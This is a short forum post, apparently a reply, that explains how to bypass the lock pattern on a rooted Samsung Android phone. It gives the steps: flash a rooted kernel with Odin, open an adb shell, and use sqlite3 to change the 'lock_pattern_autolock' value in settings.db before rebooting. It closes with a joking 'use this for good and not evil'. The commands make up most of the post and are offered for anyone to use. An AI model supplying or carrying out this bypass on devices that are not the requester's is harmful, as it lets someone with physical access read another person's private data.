They could have just come and asked here.

You must have already have root but since they mentioned it's a Samsung phone then all you do is find a CWM/Rooted kernel tar and flash via Odin then do the steps below.

adb -d shell

sqlite3 data/data/com.android.providers.settings/databases/settings.db

sqlite> update system set value=0 where name='lock_pattern_autolock'; sqlite> .exit

exit

Reboot from there and the lockscreen is bypassed.

Remember kids, use this for good and not evil muahahhahaahhaah